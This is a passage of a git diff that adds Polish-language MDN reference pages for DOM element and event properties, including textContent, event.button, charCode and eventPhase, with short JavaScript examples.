id="Uwagi" name="Uwagi">Uwagi</h3> +<p>W XML-u <code>tagName</code> zachowuje wielkość liter. W HTML-u <code>tagName</code> zwraca nazwę elementu w formie kanonicznej - wielkimi literami. Wartość <code>tagName</code> jest taka sama jak wartość <a href="pl/DOM/element.nodeName">nodeName</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-104682815">tagName </a></p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.tagName", "es": "es/DOM/element.tagName", "fr": "fr/DOM/element.tagName", "ja": "ja/DOM/element.tagName" } ) }}</p> diff --git a/files/pl/web/api/element/textcontent/index.html b/files/pl/web/api/element/textcontent/index.html new file mode 100644 index 0000000000..f667ea2889 --- /dev/null +++ b/files/pl/web/api/element/textcontent/index.html @@ -0,0 +1,41 @@ +--- +title: element.textContent +slug: Web/API/Element/textContent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/textContent +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pobiera lub ustawia zawartość tekstową węzła i jego potomków.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>tekst</i> = element.textContent +element.textContent = "przykładowy tekst" +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">// Dany jest taki fragment w HTML: +// <div id="divA">To jest <span>jakiś</span> tekst</div> + +// Pobierz zawartość tekstową: +var tekst = document.getElementById("divA").textContent; +// |tekst| zawiera: "To jest jakiś tekst". + +// Ustaw zawartość: +document.getElementById("divA").textContent = "To jest jakiś tekst"; +// teraz HTML elementu divA to <div id="divA">To jest jakiś tekst</div> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<ul> + <li><code>textContent</code> zwraca <code>null</code> jeśli węzeł to dokument, węzeł <code>DocumentType</code> lub <code>Notation</code></li> + <li>Jeśli węzeł to sekcja CDATA, komentarz, instrukcja przetwarzania lub węzeł tekstowy, <code>textContent</code> zwraca tekst wewnątrz tego węzła (<a href="pl/DOM/element.nodeValue">nodeValue</a>).</li> + <li>Dla innych typów węzłow <code>textContent</code> zwraca połączenie wartości <code>textContent</code> każdego dziecka, wyłączając węzły komentarzy i instrukcji przetwarzania. Jeśli element nie ma dzieci, jest to pusty ciąg.</li> + <li>Ustawianie tej właściwości dla węzła usuwa wszystkie jego dzieci i zastępuje je jednym węzłem tekstowym o zadanej wartości.</li> +</ul> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#Node3-textContent">textContent</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.textContent", "fr": "fr/DOM/element.textContent", "it": "it/DOM/element.textContent" } ) }}</p> diff --git a/files/pl/web/api/event/altkey/index.html b/files/pl/web/api/event/altkey/index.html new file mode 100644 index 0000000000..2c8c2f6d9f --- /dev/null +++ b/files/pl/web/api/event/altkey/index.html @@ -0,0 +1,31 @@ +--- +title: event.altKey +slug: Web/API/Event/altKey +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/altKey +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, czy klawisz <alt> był wciśnięty przy wywołaniu zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>bool</i> = event.altKey +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function goInput(e) { + // sprawdza przycisk <alt> + if e.altKey { + // przekazuje zdarzenie dalej + superSizeOutput(e); + } + else { + doOutput(e); + } + } +</pre> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/event.altKey", "ja": "ja/DOM/event.altKey" } ) }}</p> diff --git a/files/pl/web/api/event/bubbles/index.html b/files/pl/web/api/event/bubbles/index.html new file mode 100644 index 0000000000..2372296028 --- /dev/null +++ b/files/pl/web/api/event/bubbles/index.html @@ -0,0 +1,31 @@ +--- +title: event.bubbles +slug: Web/API/Event/bubbles +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Event/bubbles +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, czy zdarzenie bąbelkuje przez model dokumentu czy nie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">bool = event.bubbles +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function goInput(e) { + // sprawdza czy zdarzenie bąbelkuje + if not e.bubbles { + // i jeśli nie - przekazuje je dalej + passItOn(e); + } + // jeśli bąbelkuje: + doOutput(e) +} +</pre> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/event.bubbles", "es": "es/DOM/event.bubbles", "ja": "ja/DOM/event.bubbles" } ) }}</p> diff --git a/files/pl/web/api/event/button/index.html b/files/pl/web/api/event/button/index.html new file mode 100644 index 0000000000..5f796093fb --- /dev/null +++ b/files/pl/web/api/event/button/index.html @@ -0,0 +1,66 @@ +--- +title: event.button +slug: Web/API/Event/button +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/button +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, który przycisk myszy wywołał zdarzenie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre>var kodPrzycisku = event.button; +</pre> +<p>Zwraca całkowitą wartość liczbową oznaczającą przycisk, który zmienił stan:</p> +<ul> + <li>0 - zwykłe + <i> + kliknięcie</i> + , zazwyczaj lewy przycisk</li> + <li>1 - środkowy przycisk, zazwyczaj kliknięcie rolką</li> + <li>2 - prawy przycisk</li> +</ul> +<p>Faktyczna kolejność przycisków może być różna, zależnie od konfiguracji urządzenia wskazującego.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><script type="text/javascript"> + +function whichButton(e) +{ + // obsłuż różne modele obsługi zdarzeń + var e = e || window.event; + var btnCode; + + if ('object' == typeof e){ + btnCode = e.button; + + switch (btnCode){ + case 0 : alert('Kliknięto lewym przyciskiem'); + break; + case 1 : alert('Kliknięto środkowym przyciskiem'); + break; + case 2 : alert('Kliknięto prawym przyciskiem'); + break; + default : alert('Nieoczekiwany kod: ' + btnCode); + } + } +} + +</script> + +<p onclick="whichButton(event);">Kliknij tu myszą...</p> + +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Ponieważ kliknięcia myszy są często przechwytywane przez interfejs uzytkownika, w niektórych okolicznościach może być trudno wykryć przyciski inne niż ten dla standardowego kliknięcia (tj. zazwyczaj lewy).</p> +<p>Użytkownicy mogą zmienić konfigurację przycisków swoich urządzeń wskazujących, tak że nawet jeśli własność + <i> + button</i> + wynosi zero, niekoniecznie musiał być naciśnięty przycisk znajdujący się fizycznie po lewej stronie. Jednak zachowanie w takiej sytuacji powinno być takie, jak gdyby kliknięto lewy przycisk w standardowym układzie.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-MouseEvent-button">DOM Level 2 Events: button</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/event.button", "ja": "ja/DOM/event.button" } ) }}</p> diff --git a/files/pl/web/api/event/cancelable/index.html b/files/pl/web/api/event/cancelable/index.html new file mode 100644 index 0000000000..4a6ed741bb --- /dev/null +++ b/files/pl/web/api/event/cancelable/index.html @@ -0,0 +1,34 @@ +--- +title: event.cancelable +slug: Web/API/Event/cancelable +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Event/cancelable +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Wskazuje, czy zdarzenie można anulować.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">bool = event.cancelable +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>To, czy zdarzenie może być anulowane czy nie jest określane w momencie, kiedy zdarzenie jest tworzone. Aby anulować zdarzenie, użyj metody <a href="pl/DOM/event.preventDefault">preventDefault</a> na tym zdarzeniu, dzięki czemu nie zostanie wykonana akcja - domyślny rezultat tego zdarzenia.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-canCancel">cancelable </a></p> + + + +<div class="noinclude"></div> + +<p>{{ languages( { "en": "en/DOM/event.cancelable", "es": "es/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable" } ) }}</p> diff --git a/files/pl/web/api/event/cancelbubble/index.html b/files/pl/web/api/event/cancelbubble/index.html new file mode 100644 index 0000000000..64b0a32f88 --- /dev/null +++ b/files/pl/web/api/event/cancelbubble/index.html @@ -0,0 +1,15 @@ +--- +title: event.cancelBubble +slug: Web/API/Event/cancelBubble +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/cancelBubble +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, czy zostało anulowane bąbelkowanie tego zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">bool = event.cancelBubble +</pre> +<p>{{ languages( { "en": "en/DOM/event.cancelBubble" } ) }}</p> diff --git a/files/pl/web/api/event/charcode/index.html b/files/pl/web/api/event/charcode/index.html new file mode 100644 index 0000000000..6600e6c1dd --- /dev/null +++ b/files/pl/web/api/event/charcode/index.html @@ -0,0 +1,27 @@ +--- +title: event.charCode +slug: Web/API/Event/charCode +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/KeyboardEvent/charCode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca kod Unicode dla klawisza znaku, który został wciśnięty, w zdarzeniu <a href="pl/DOM/element.onkeypress">keypress</a>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">znak = event.charCode +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>znak</code> to wartość kodu Unicode klawisza, który został wciśnięty.</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>W zdarzeniu <a href="pl/DOM/element.onkeypress">keypress</a> kod Unicode wciśniętego klawisza jest przechowywany albo we własności <code><a href="pl/DOM/event.keyCode">keyCode</a></code> albo w <code>charCode</code>, nigdy w obydwu. Jeśli wciśnięcie klawisza skutkowałoby wprowadzeniem znaku (np. 'a'), <code>charCode</code> ustawiany jest dla kodu tego znaku, z uwzględnieniem wielkości (małe lub duże litery) znaku (np. bierze pod uwagę, czy wciśnięto klawisz shift). W przeciwnym przypadku, naciśnięty klawisz przechowywany jest w <code>keyCode</code>.</p> +<p><code>charCode</code> nigdy nie jest ustawiany w zdarzeniach <a href="pl/DOM/element.onkeydown">keydown</a> i <a href="pl/DOM/element.onkeyup">keyup</a>. W tych przypadkach ustawiany jest <code>keyCode</code>.</p> +<p>Aby pobrać kod klawisza niezależnie, czy jest przechowywany w <code>keyCode</code> czy w <code>charCode</code>, sprawdź właściwość <a href="pl/DOM/event.which">which</a>.</p> +<p>Znaki wprowadzane poprzez IME nie są rejestrowane poprzez <code>keyCode</code> ani <code>charCode</code>. (IME - program pozwalający wprowadzać skomplikowane znaki, np. japońskie bądź chińskie - przyp. tłum.)</p> +<p>Listę wartości <code>charCode</code> związanych z poszczególnymi klawiszami możesz znaleźć uruchamiając <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykład 7: Wyświetlanie stałych obiektu event</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie należy do specyfikacji. Zobacz <a href="pl/NsIDOMKeyEvent">nsIDOMKeyEvent</a>.</p> +<p>{{ languages( { "en": "en/DOM/event.charCode" } ) }}</p> diff --git a/files/pl/web/api/event/clientx/index.html b/files/pl/web/api/event/clientx/index.html new file mode 100644 index 0000000000..dd0dcb3e09 --- /dev/null +++ b/files/pl/web/api/event/clientx/index.html @@ -0,0 +1,25 @@ +--- +title: event.clientX +slug: Web/API/Event/clientX +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/clientX +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca poziomą współrzędną zdarzenia w obszarze klienta.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function checkClientClickMap(e) { + if e.clientX < 50 { + doRedButton(); } + if 50 <= e.clientX < 100 { + doYellowButton(); } + if e.clientX >= 100 { + doRedButton(); } } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz też <a href="pl/DOM/event.clientY">clientY</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-clientX">clientX </a></p> +<p>{{ languages( { "en": "en/DOM/event.clientX" } ) }}</p> diff --git a/files/pl/web/api/event/clienty/index.html b/files/pl/web/api/event/clienty/index.html new file mode 100644 index 0000000000..1ad6315f89 --- /dev/null +++ b/files/pl/web/api/event/clienty/index.html @@ -0,0 +1,16 @@ +--- +title: event.clientY +slug: Web/API/Event/clientY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/clientY +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca pionową współrzędną zdarzenia w obszarze klienta.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz też <a href="pl/DOM/event.clientX">clientX</a>, wraz z przykładem wykorzystania.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-clientY">clientY</a></p> +<p>{{ languages( { "en": "en/DOM/event.clientY" } ) }}</p> diff --git a/files/pl/web/api/event/ctrlkey/index.html b/files/pl/web/api/event/ctrlkey/index.html new file mode 100644 index 0000000000..53bda61a1e --- /dev/null +++ b/files/pl/web/api/event/ctrlkey/index.html @@ -0,0 +1,26 @@ +--- +title: event.ctrlKey +slug: Web/API/Event/ctrlKey +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/ctrlKey +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, czy klawisz <ctrl> był wciśnięty podczas wywołania zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">bool = event.ctrlKey +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function goInput(e) { + // sprawdza ctrlKey + if e.ctrlKey + // i przekazuje zdarzenie dalej + superSizeOutput(e); + else + doOutput(e) +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-ctrlKey">ctrlKey</a></p> +<p>{{ languages( { "en": "en/DOM/event.ctrlKey" } ) }}</p> diff --git a/files/pl/web/api/event/currenttarget/index.html b/files/pl/web/api/event/currenttarget/index.html new file mode 100644 index 0000000000..f6c5c3c752 --- /dev/null +++ b/files/pl/web/api/event/currenttarget/index.html @@ -0,0 +1,25 @@ +--- +title: event.currentTarget +slug: Web/API/Event/currentTarget +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Event/currentTarget +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pozwala zidentyfikować obecnie zarejestrowany element docelowy zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">referencjaDoWęzła = event.currentTarget +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>referencjaDoWęzła</code> to referencja do obiektu węzła DOM</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> if e.currentTarget != t_el + resetEventEngine(); +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-currentTarget">currentTarget</a></p> +<p>{{ languages( { "en": "en/DOM/event.currentTarget" } ) }}</p> diff --git a/files/pl/web/api/event/eventphase/index.html b/files/pl/web/api/event/eventphase/index.html new file mode 100644 index 0000000000..c7f0deb5fb --- /dev/null +++ b/files/pl/web/api/event/eventphase/index.html @@ -0,0 +1,40 @@ +--- +title: event.eventPhase +slug: Web/API/Event/eventPhase +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Event/eventPhase +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje która faza przepływu zdarzenia jest aktualnie przetwarzana.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>faza</i> = event.eventPhase +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>faza</code> to liczba o jednej z poniższych wartości:</li> +</ul> +<table class="standard-table"> + <tbody> + <tr> + <td>1</td> + <td><a href="pl/DOM/Event.CAPTURING_PHASE">CAPTURING_PHASE</a></td> + <td>faza przechwytywania</td> + </tr> + <tr> + <td>2</td> + <td><a href="pl/DOM/Event.AT_TARGET">AT_TARGET</a></td> + <td>zdarzenie przy elemencie docelowym</td> + </tr> + <tr> + <td>3</td> + <td><a href="pl/DOM/Event.BUBBLING_PHASE">BUBBLING_PHASE</a></td> + <td>faza bąbelkowania</td> + </tr> + </tbody> +</table> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-eventPhase">eventPhase </a></p> +<p>{{ languages( { "en": "en/DOM/event.eventPhase" } ) }}</p> diff --git a/files/pl/web/api/event/index.html b/files/pl/web/api/event/index.html new file mode 100644 index 0000000000..8b5dd22105 --- /dev/null +++ b/files/pl/web/api/event/index.html @@ -0,0 +1,179 @@ +--- +title: Event +slug: Web/API/Event +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Event +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3> + +<p>W tym rozdziale opiszemy model zdarzeń DOM Level 2 jaki implementuje Gecko. Opisany zostanie obiekt <code>event</code>, a także interfejsy do rejestrowania zdarzeń dla węzłów DOM, uchwyty i obserwatorzy zdarzeń; przedstawione zostanie też kilka dłuższych przykładów pokazujących relacje między różnymi interfejsami.</p> + +<p>Dostępny jest też doskonały <a class="external" href="https://www.w3.org/TR/DOM-Level-3-Events/#event-flow">diagram</a>, który jasno przedstawia trzy fazy przepływu zdarzeń w DOM.</p> + +<h4 id="Interfejs_DOM_event" name="Interfejs_DOM_event">Interfejs DOM event</h4> + +<p>Interfejs DOM <code>event</code> reprezentowany jest przez obiekty <code>event</code> przekazywane do uchwytów zdarzeń różnych elementów DOM. Poniższy, prosty przykład pokazuje, jak przekazać i manipulować obiektem <code>event</code> w funkcji obsługi zdarzenia.</p> + +<pre>function foo(e) { + //funkcje obsługi zdarzeń - takie jak ta + //otrzymują referencję do zdarzenia, jakie + //obsługują (w tym przypadku "e") + alert(e); +} +table_el.onclick = foo; +</pre> + +<p>Powyższy przykład jest skrajnie prosty, przedstawia jednak ważną cechę obsługi zdarzeń w Gecko DOM - obiekty <code>event</code> wykorzystywane są zwykle w funkcjach obsługi zdarzeń. Kiedy masz już referencję do obiektu <code>event</code>, możesz korzystać z wszystkich metod i własności opisanych w tym rozdziale.</p> + +<p>Zob. także <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykład 5: Propagowanie zdarzeń</a> w rozdziale <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykłady użycia DOM</a>, by zobaczyć bardziej szczegółowo, jak zdarzenia przechodzą przez DOM.</p> + +<h4 id="Uchwyty_zdarze.C5.84" name="Uchwyty_zdarze.C5.84">Uchwyty zdarzeń</h4> + +<p>Oprócz opisanego tutaj obiektu <code>event</code>, Gecko DOM dostarcza również metod do rejestrowania obserwatorów zdarzeń (ang.<em>event listener</em> ) na węzłach DOM, usuwania zdarzeń z obserwatorów oraz wywoływania zdarzeń z poziomu DOM. Te trzy metody opisano w rozdziale <a href="pl/DOM/element">Elementy w DOM</a>. Razem z <a href="pl/DOM/element#Uchwyty_zdarze.C5.84">uchwytami zdarzeń</a> elementów HTML i XML stanowią one główny punkt wyjścia dla zdarzeń w DOM.</p> + +<p>Możesz także przekazać do funkcji obsługi zdarzenia referencję do obiektu <code>event</code> poprzez predefiniowany parametr o nazwie <code>event</code>. Jest to bardzo podobne do sposobu, w jaki działa <code>this</code>, ale tyczy się obiektów zdarzeń, a nie elementów.</p> + +<pre><html> +<head> +<title>Przykład użycia parametru z obiektem event</title> + +<script type="text/javascript"> + +function showCoords(evt){ + alert( + "clientX value: " + evt.clientX + "\n" + + "clientY value: " + evt.clientY + "\n" + ); +} + +</script> +</head> + +<body onmousedown="showCoords(event)"> +<p>Kliknij gdziekolwiek na tej stronie, aby wyświetlić współrzędne położenia myszy.</p> +</body> +</html> +</pre> + +<p>Używanie predefiniowanego parametru <code>event</code> pozostawia dalej możliwość przekazywania innych parametrów do funkcji obsługującej zdarzenie, jeśli jest taka potrzeba.</p> + +<pre><html> +<head> +<title>Przykład użycia parametru z obiektem event wraz z dodatkowymi parametrami</title> + +<script type="text/javascript"> + +var par2 = 'hello'; +var par3 = 'world!'; + +function showCoords(evt, p2, p3){ + alert( + "clientX value: " + evt.clientX + "\n" + + "clientY value: " + evt.clientY + "\n" + + "p2: " + p2 + "\n" + + "p3: " + p3 + "\n" + ); +} + +</script> +</head> + +<body onmousedown="showCoords(event, par2, par3)"> +<p>Kliknij gdziekolwiek na tej stronie, aby wyświetlić współrzędne położenia myszy.</p> +</body> +</html> +</pre> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<dl> + <dt><a href="pl/DOM/event.altKey">event.altKey</a></dt> + <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code><alt></code> był wciśnięty podczas zdarzenia.</dd> + <dt><a href="pl/DOM/event.bubbles">event.bubbles</a></dt> + <dd>Zwraca wartość logiczną wskazującą, czy zdarzenie bąbelkuje przez model dokumentu czy nie.</dd> + <dt><a href="pl/DOM/event.button">event.button</a></dt> + <dd>Zwraca przycisk myszy.</dd> + <dt><a href="pl/DOM/event.cancelBubble">event.cancelBubble</a></dt> + <dd>{{ Deprecated_inline() }} Zwraca wartość logiczną wskazującą, czy bąbelkowanie zdarzenia zostało anulowane czy nie.</dd> + <dt><a href="pl/DOM/event.cancelable">event.cancelable</a></dt> + <dd>Zwraca wartość logiczną wskazującą, czy zdarzenie można anulować.</dd> + <dt><a href="pl/DOM/event.charCode">event.charCode</a></dt> + <dd>Zwraca kod Unicode klawisza znaku, który został wciśnięty podczas zdarzenia <a href="pl/DOM/element.onkeypress">keypress</a>.</dd> + <dt><a href="pl/DOM/event.clientX">event.clientX</a></dt> + <dd>Zwraca poziomą pozycję zdarzenia w obszarze klienta.</dd> + <dt><a href="pl/DOM/event.clientY">event.clientY</a></dt> + <dd>Zwraca pionową pozycję zdarzenia w obszarze klienta.</dd> + <dt><a href="pl/DOM/event.ctrlKey">event.ctrlKey</a></dt> + <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code><ctrl></code> był wciśnięty podczas zdarzenia.</dd> + <dt><a href="pl/DOM/event.currentTarget">event.currentTarget</a></dt> + <dd>Zwraca referencję do obecnie zarejestrowanego celu zdarzenia.</dd> + <dt><a href="pl/DOM/event.detail">event.detail</a></dt> + <dd>Zwraca szczegółową informację o zdarzeniu zależnie od jego typu.</dd> + <dt><a href="pl/DOM/event.eventPhase">event.eventPhase</a></dt> + <dd>Wskazuje która faza przepływu zdarzenia jest aktualnie przetwarzana.</dd> + <dt><a href="pl/DOM/event.isChar">event.isChar</a></dt> + <dd>Zwraca wartość logiczną oznaczającą, czy w zdarzeniu pojawił się klawisz znaku czy nie.</dd> + <dt><a href="pl/DOM/event.keyCode">event.keyCode</a></dt> + <dd>Zwraca kod Unicode dla klawisza nie będącego znakiem w zdarzeniu keypress lub dowolnego klawisza w każdym innym zdarzeniu związanym z klawiaturą.</dd> + <dt><a href="pl/DOM/event.layerX">event.layerX</a></dt> + <dd>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</dd> + <dt><a href="pl/DOM/event.layerY">event.layerY</a></dt> + <dd>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</dd> + <dt><a href="pl/DOM/event.metaKey">event.metaKey</a></dt> + <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code>meta</code> był wciśnięty podczas zdarzenia.</dd> + <dt><a href="pl/DOM/event.pageX">event.pageX</a></dt> + <dd>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</dd> + <dt><a href="pl/DOM/event.pageY">event.pageY</a></dt> + <dd>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</dd> + <dt><a href="pl/DOM/event.relatedTarget">event.relatedTarget</a></dt> + <dd>Wskazuje na drugi cel zdarzenia.</dd> + <dt><a href="pl/DOM/event.screenX">event.screenX</a></dt> + <dd>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem ekranu.</dd> + <dt><a href="pl/DOM/event.screenY">event.screenY</a></dt> + <dd>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.</dd> + <dt><a href="pl/DOM/event.shiftKey">event.shiftKey</a></dt> + <dd>Zwraca wartość logiczną wskazującą, czy klawisz <code><shift></code> był wciśnięty podczas zdarzenia.</dd> + <dt><a href="pl/DOM/event.target">event.target</a></dt> + <dd>Zwraca referencję do elementu, do którego zdarzenie zostało pierwotnie wysłane.</dd> + <dt><a href="pl/DOM/event.timeStamp">event.timeStamp</a></dt> + <dd>Zwraca czas, kiedy o którym zdarzenie zostało utworzone.</dd> + <dt><a href="pl/DOM/event.type">event.type</a></dt> + <dd>Zwraca nazwę zdarzenia.</dd> + <dt><a href="pl/DOM/event.view">event.view</a></dt> + <dd>Wskazuje widok (<code>AbstractView</code>), w którym wygenerowane zostało zdarzenie.</dd> + <dt><a href="pl/DOM/event.which">event.which</a></dt> + <dd>Zwraca kod Unicode klawisza w zdarzeniu związanym z klawiaturą, niezależnie od tego, czy klawisz jest znakiem.</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="pl/DOM/event.initEvent">event.initEvent</a></dt> + <dd>Metoda używana do zainicjalizowania wartości dla zdarzenia utworzonego przez interfejs <code>DocumentEvent</code>.</dd> + <dt><a href="pl/DOM/event.initKeyEvent">event.initKeyEvent</a></dt> + <dd>Inicjalizuje zdarzenie klawiatury. Gecko-specific.</dd> + <dt><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></dt> + <dd>Inicjalizuje zdarzenie myszy po jego utworzeniu.</dd> + <dt><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></dt> + <dd>Inicjalizuje zdarzenie interfejsu użytkownika po jego utworzeniu.</dd> + <dt><a href="pl/DOM/event.preventBubble">event.preventBubble</a></dt> + <dd>{{ Obsolete_inline() }} Zabezpiecza zdarzenie przed bąbelkowaniem. Ta metoda jest przestarzała ze względu na standard <a href="pl/DOM/event.stopPropagation">stopPropagation</a> i jest <a href="pl/Zmiany_w_Gecko_1.9_wp%c5%82ywaj%c4%85ce_na_wy%c5%9bwietlanie_stron">usunięta w Gecko 1.9</a>.</dd> + <dt><a href="pl/DOM/event.preventCapture">event.preventCapture</a></dt> + <dd>{{ Obsolete_inline() }} Ta metoda jest przestarzała ze względu na standard <a href="pl/DOM/event.stopPropagation">stopPropagation</a> i jest <a 